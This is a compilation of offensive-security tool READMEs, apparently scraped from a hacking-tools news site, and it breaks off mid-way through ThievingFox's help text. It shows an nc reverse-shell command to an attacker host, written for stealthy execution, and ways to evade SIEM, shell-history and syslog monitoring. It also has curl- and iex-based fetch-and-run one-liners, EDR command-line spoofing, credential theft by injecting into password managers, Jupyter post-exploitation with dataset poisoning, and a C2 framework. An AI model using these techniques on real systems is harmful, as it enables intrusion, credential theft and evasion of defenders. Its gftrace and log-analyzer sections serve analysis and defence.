You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1  #you are allowed to be a bit cocky
volana » [command]

Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

from non interactive shell

Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

On attacker machine

## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

Copy encrypted command and executed it with your rce on target machine

./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

Detection

Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

By detected we mean if we are able to trigger an alert if a certain command has been executed.

Hide from

Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

• Detection systems that are based on history command output
• Detection systems that are based on history files
• .bash_history, ".zsh_history" etc ..
• Detection systems that are based on bash debug traps
• Detection systems that are based on sudo built-in logging system
• Detection systems tracing all processes syscall system-wide (eg opensnoop)
• Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
• Easy to detect & avoid: pkill -9 script
• Not a common case
• screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
• Command detection Could be avoid with volana with encryption

Visible for

• Detection systems that have alert for unknown command (volana one)
• Detection systems that are based on keylogger
• Easy to avoid: copy/past commands
• Not a common case
• Detection systems that are based on syslog files (e.g. /var/log/auth.log)
• Only for sudo or su commands
• syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
• Detection systems that are based on syscall (eg auditd,LKML/eBPF)
• Difficult to analyze, could be make unreadable by making several diversion syscalls
• Custom LD_PRELOAD injection to make log
• Not a common case at all

Bug bounty

Sorry for the clickbait title, but no money will be provided for contibutors. 🐛

Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

Report here

Credit

• 8 ways to spy on console
• moonwalk: similar tool that clear tracks AFTER passage

PIP-INTEL - OSINT and Cyber Intelligence Tool

Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.

Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.

Vger - An Interactive CLI Application For Interacting With Authenticated Jupyter Instances

V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.

User Stories

• As a Red Teamer, you've found Jupyter credentials, but don't know what you can do with them. V'ger is organized in a format that should be intuitive for most offensive security professionals to help them understand the functionality of the target Jupyter server.
• As a Red Teamer, you know that some browser-based actions will be visibile to the legitimate Jupyter users. For example, modifying tabs will appear in their workspace and commands entered in cells will be recorded to the history. V'ger decreases the likelihood of detection.
• As an AI Red Teamer, you understand academic algorthmic attacks, but need a more practical execution vector. For instance, you may need to modify a large, foundational internet-scale dataset as part of a model poisoning operation. Modifying that dataset at its source may be impossible or generate undesirable auditable artifacts. with V'ger you can achieve the same objectives in-memory, a significant improvement in tradecraft.
• As a Blue Teamer, you want to understand logging and visibility into a live Jupyter deployment. V'ger can help you generate repeatable artifacts for testing instrumentation and performing incident response exercises.

Usage

Initial Setup

1. pip install vger
2. vger --help

Currently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.

Commands

Once a connection is established, users drop into a nested set of menus.

The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.

These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.

Experimental

With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.

There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").

Examples

• Overwrite a Torch Dataset to change labels

Linux-Smart-Enumeration - Linux Enumeration Tool For Pentesting And CTFs With Verbosity Levels

wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh

curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Use: ./lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurren tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
                 cve: CVE related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)
  -S           Serve the lse.sh script in this host so it can be retrieved
               from a remote host.

bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i

bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i

Invoke-SessionHunter - Retrieve And Display Information About Active User Sessions On Remote Computers (No Admin Privileges Required)

Retrieve and display information about active user sessions on remote computers. No admin privileges required.

The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.

If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)

It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.

Usage:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SessionHunter/main/Invoke-SessionHunter.ps1')

If run without parameters or switches it will retrieve active sessions for all computers in the current domain by querying the registry

Invoke-SessionHunter

Gather sessions by authenticating to targets where you have local admin access

Invoke-SessionHunter -CheckAsAdmin

You can optionally provide credentials in the following format

Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!"

You can also use the -FailSafe switch, which will direct the tool to proceed if the target remote registry becomes unresponsive.

This works in cobination with -Timeout | Default = 2, increase for slower networks.

Invoke-SessionHunter -FailSafe

Invoke-SessionHunter -FailSafe -Timeout 5

Use the -Match switch to show only targets where you have admin access and a privileged user is logged in

Invoke-SessionHunter -Match

All switches can be combined

Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!" -FailSafe -Timeout 5 -Match

Specify the target domain

Invoke-SessionHunter -Domain contoso.local

Specify a comma-separated list of targets or the full path to a file containing a list of targets - one per line

Invoke-SessionHunter -Targets "DC01,Workstation01.contoso.local"

Invoke-SessionHunter -Targets c:\Users\Public\Documents\targets.txt

Retrieve and display information about active user sessions on servers only

Invoke-SessionHunter -Servers

Retrieve and display information about active user sessions on workstations only

Invoke-SessionHunter -Workstations

Show active session for the specified user only

Invoke-SessionHunter -Hunt "Administrator"

Exclude localhost from the sessions retrieval

Invoke-SessionHunter -IncludeLocalHost

Return custom PSObjects instead of table-formatted results

Invoke-SessionHunter -RawResults

Do not run a port scan to enumerate for alive hosts before trying to retrieve sessions

Note: if a host is not reachable it will hang for a while

Invoke-SessionHunter -NoPortScan

LOLSpoof - An Interactive Shell To Spoof Some LOLBins Command Line

LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.

Why

Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.

How

1. Prepares the spoofed command line out of the real one: lolbin.exe " " * sizeof(real arguments)
2. Spawns that suspended LOLBin with the spoofed command line
3. Gets the remote PEB address
4. Gets the address of RTL_USER_PROCESS_PARAMETERS struct
5. Gets the address of the command line unicode buffer
6. Overrides the fake command line with the real one
7. Resumes the main thread

Opsec considerations

Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory

Build

Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)

nimble install winim

Known issue

Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.

Gftrace - A Command Line Windows API Tracing Tool For Golang Binaries

A command line Windows API tracing tool for Golang binaries.

Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!

How it works?

Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.

The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.

Asmstdcall receives a single parameter which is pointer to something similar to the following structure:

struct LIBCALL {
    DWORD_PTR Addr;
    DWORD Argc;
    DWORD_PTR Argv;
    DWORD_PTR ReturnValue;

    [...]
}

Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.

The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.

The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).

If you want to know more about this project and research check the blogpost.

Installation

Download the latest release.

Usage

1. Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
2. Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
3. Run gftrace.exe passing the target Golang program path as a parameter.

gftrace.exe <filepath> <params>

Configuration

All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:

CreateFileW,ReadFile,CreateProcessW

The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.

The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.

Examples

Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:

- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

Tracing CreateProcessW() in the TunnelFish malware:

- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres   s |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400,    "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)

[...]

Tracing multiple functions in the Sunshuttle malware:

- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0)    = 0xffffffff (-1)

[...]

Tracing multiple functions in the DeimosC2 framework agent:

- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57   )

[...]

Future features:

• [x] Support inspection of 32 bits files.
• [x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
• [x] Add support to cmdline parameters for the target process
• [ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.

:warning: Warning

• The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
• Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.

License

The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

1. Reverse TCP
2. Reverse HTTP
3. Reverse HTTPS (configure it behind an LB)
4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

• Management port: 9000
  
• Reversse HTTP port: 8000
  

• Reverse TCP port: 8888
  

• Clone the repo

• Optional: Update chait_id, bot_token in c2-telegram/config.yml
• Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact

• LinkedIn
• Twitter

OSTE-Web-Log-Analyzer - Automate The Process Of Analyzing Web Server Logs With The Python Web Log Analyzer

Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:

Features

1. Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.

2. Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.

3. Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.

4. User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.

Future Features

This project is actively developed, and future features may include:

1. IP Geolocation: Identify the geographic location of IP addresses in the logs.
2. Real-time Monitoring: Implement real-time monitoring capabilities for immediate threat detection.

Installation

The tool only requires Python 3 at the moment.

1. step1: git clone https://github.com/OSTEsayed/OSTE-Web-Log-Analyzer.git
2. step2: cd OSTE-Web-Log-Analyzer
3. step3: python3 WLA-cli.py

Usage

After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t

use -h or --help for more detailed usage examples : python3 WLA-cli.py -h

Contact

linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)

ThievingFox - Remotely Retrieving Credentials From Password Managers And Windows Utilities

ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.

The accompanying blog post can be found here

Installation

Linux

Rustup must be installed, follow the instructions available here : https://rustup.rs/

The mingw-w64 package must be installed. On Debian, this can be done using :

apt install mingw-w64

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-gnu
rustup target add i686-pc-windows-gnu

Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin

After adding Mono repositories, Nuget can be installed using apt :

apt install nuget

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11.

Windows

Rustup must be installed, follow the instructions available here : https://rustup.rs/

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-msvc
rustup target add i686-pc-windows-msvc

.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11

NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)

Targets

All modules have been tested on the following Windows versions :

[!CAUTION] Modules have not been tested on other version, and are expected to not work.

Usage

[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.

ThievingFox contains 3 main modules : poison, cleanup and collect.

Poison

For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.

To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.

--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).

--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.

The KeePass modules requires the Visual C++ Redistributable to be installed on the target.

Multiple applications can be specified at once, or, the --all flag can be used to target all applications.

[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.

$ python3 client/ThievingFox.py poison -h
usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
                             [--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
                             [--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
                             target

positional arguments:
  target                Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
  -h, --help            show this help message and exit
  -hashes HASHES, --hashes HASHES
                        LM:NT hash
  -aesKey AESKEY, --aesKey AESKEY
                        AES key to use for Kerberos Authentication
  -k                       Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
  -dc-ip DC_IP, --dc-ip DC_IP
                        IP Address of the domain controller
  -no-pass, --no-pass   Do not prompt for password
  --tempdir TEMPDIR     The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
  --keepass             Try to poison KeePass.exe
  --keepass-path KEEPASS_PATH
                        The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
  --keepass-share KEEPASS_SHARE
                        The share on which KeePass is installed (Default: c$)
  --keepassxc           Try to poison KeePassXC.exe
  --keepassxc-path KEEPASSXC_PATH
                        The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
  --ke   epassxc-share KEEPASSXC_SHARE
                        The share on which KeePassXC is installed (Default: c$)
  --mstsc               Try to poison mstsc.exe
  --mstsc-poison-hkcr   Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
                        logged in (Default: False)
  --consent             Try to poison Consent.exe
  --logonui             Try to poison LogonUI.exe
  --rdcman              Try to poison RDCMan.exe
  --rdcman-poison-hkcr  Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
                        logged in (Default: False)
  --mobaxterm           Try to poison MobaXTerm.exe
  --mobaxterm-poison-hkcr
                        Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for    MobaXTerm, which will also work for user that are currently not
                        logged in (Default: False)
  --all                 Try to poison all applications

Cleanup

For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.

For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.

Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.

It does not clean extracted credentials on the remote host.

[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.

$ python3 client/ThievingFox.py cleanup -h
usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
                              [--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
                              [--rdcman] [--mobaxterm] [--all]
                              target

positional arguments:
  target                Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
  -h, --help            show this help message and exit
  -hashes HASHES, --hashes HASHES
                        LM:NT hash
  -aesKey AESKEY, --aesKey AESKEY
                        AES key to use for Kerberos Authentication
  -k                    Use kerberos authentication. For LogonUI, mstsc and cons   ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
  -dc-ip DC_IP, --dc-ip DC_IP
                        IP Address of the domain controller
  -no-pass, --no-pass   Do not prompt for password
  --tempdir TEMPDIR     The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
  --keepass             Try to cleanup all poisonning artifacts related to KeePass.exe
  --keepass-share KEEPASS_SHARE
